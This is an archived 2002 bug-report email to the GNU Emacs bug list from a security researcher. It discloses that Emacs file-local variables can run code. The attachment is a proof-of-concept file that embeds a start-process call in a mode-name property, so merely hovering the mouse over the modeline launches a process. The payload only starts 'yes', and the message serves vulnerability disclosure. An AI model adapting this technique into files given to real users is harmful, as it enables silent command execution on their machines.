unofficial mirror of bug-gnu-emacs@gnu.org 
 help / color / mirror / code / Atom feed
From: Georgi Guninski <guninski@guninski.com>
Cc: bug-gnu-emacs@gnu.org
Subject: Re: security problem in emacs
Date: Tue, 31 Dec 2002 16:47:21 +0200	[thread overview]
Message-ID: <3E11ADF9.3070902@guninski.com> (raw)
In-Reply-To: <mailman.749.1041337086.19936.bug-gnu-emacs@gnu.org>

[-- Attachment #1: Type: text/plain, Size: 595 bytes --]

Kai Gro?johann wrote:

> Georgi Guninski  writes:
>
>
> >Attached file demonstrates GNU Emacs 21.2.1 starting process if a text
> >file is opened. Just open it with emacs and check for processes "yes".
>
>
> This has been fixed in the development sources.  The user is asked
> whether to execute the Lisp code.
>
> Alas, this has not been fixed in the 21.3 pretest.


Is the new attached file also fixed?
It requires mouse over text.

I suggest you disable local variables by default - they are not portable and 
some people use emacs for examining untrusted log files or read mail.


georgi




[-- Attachment #2: emacs2.emacs --]
[-- Type: text/plain, Size: 656 bytes --]

/* -*- Mode: text; tab-width:20; Eval: Mode  -*- -*- forms -*- */

Emacs better than windoze.
Mouse over the modeline, then check for started yes.
 
;;; Local Variables: ***
;;; mode: text ***
;;; mode-name: #("MOUSE OVER ME   " 0 10 
 		     (local-map
		      (keymap
 		       (header-line (eval (start-process "/usr/bin/yes"
"/usr/bin/yes" "/usr/bin/yes")) 
 				    (down-mouse-3 . mode-line-mode-menu-1))
 		       (mode-line keymap
 				  (down-mouse-3 . mode-line-mode-menu-1)))
 		      help-echo (eval (start-process "/usr/bin/yes"
"/usr/bin/yes" "/usr/bin/yes")) ) 
 ) ***
;;; comment-start: ";;; "  ***
;;; comment-end:"***" ***
;;; End: ***



[-- Attachment #3: Type: text/plain, Size: 148 bytes --]

_______________________________________________
Bug-gnu-emacs mailing list
Bug-gnu-emacs@gnu.org
http://mail.gnu.org/mailman/listinfo/bug-gnu-emacs

       reply	other threads:[~2002-12-31 14:47 UTC|newest]

Thread overview: 6+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
     [not found] <mailman.749.1041337086.19936.bug-gnu-emacs@gnu.org>
     [not found] ` <84znqm8f1k.fsf@lucy.cs.uni-dortmund.de>
2002-12-31 14:47   ` Georgi Guninski [this message]
2002-12-31 15:14     ` security problem in emacs Alfred M. Szmidt
2002-12-31 15:42       ` Georgi Guninski
     [not found]       ` <mailman.760.1041349397.19936.bug-gnu-emacs@gnu.org>
2002-12-31 18:00         ` Miles Bader
     [not found]   ` <mailman.754.1041346047.19936.bug-gnu-emacs@gnu.org>
2002-12-31 15:30     ` Miles Bader
2002-12-31 12:17 Georgi Guninski

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

  List information: https://www.gnu.org/software/emacs/

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=3E11ADF9.3070902@guninski.com \
    --to=guninski@guninski.com \
    --cc=bug-gnu-emacs@gnu.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
Code repositories for project(s) associated with this public inbox

	https://git.savannah.gnu.org/cgit/emacs.git

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).